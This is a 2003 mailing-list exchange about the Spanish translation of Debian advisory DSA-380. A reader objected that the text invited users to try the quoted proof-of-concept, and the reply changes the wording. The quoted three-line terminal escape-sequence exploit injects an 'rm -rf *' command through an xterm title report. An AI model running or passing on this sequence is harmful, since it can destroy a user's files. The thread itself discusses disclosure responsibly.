Hello, I did apply the change you suggested: s/Si quiere, pruebe lo siguiente/Considere los efectos potenciales de/
I think I understand enough spanish to agree with you, even if I have to trust you on the exact wording and spelling. Moreover, this mail is CCed to the usual translator. Juan Manuel, feel free to flame me if I were wrong. Thanks for the repport, Mt. On Sun, Sep 14, 2003 at 01:25:08PM +0200, Antonio Fiol Bonnín wrote: > Hello, > > Please remove the spanish translation for DSA-380. > > It contains code potentially dangerous for the user, and encourages the > user to execute it. > > In English it says: > > ---------------- > Consider the following: > > echo -e '\e]2;s && echo rm -rf *\a' > /tmp/sploit > echo -e '\e[21t' >> /tmp/sploit > cat /tmp/sploit > > ----------------- > > In Spanish, it has been translated as: > Si quiere, pruebe lo siguiente: > > echo -e '\e]2;s && echo rm -rf *\a' > /tmp/aprovecham > echo -e '\e[21t' >> /tmp/aprovecham > cat /tmp/aprovecham > > Which, in English is: > If you wish, try the following: [...] > > I feel there is an important difference between considering something, > and encouraging the user to try it. > > > Please forward this message to the translators so they can provide a > better version. > > In the meantime I suggest either removing the page or changing the text > by the following: > > "Considere los efectos potenciales de:" > > > Thank you very much. > > > Antonio Fiol -- Le monde est dangereux à vivre! Non pas tant à cause de ceux qui font le mal, mais à cause de ceux qui regardent et laissent faire. -- Albert Einstein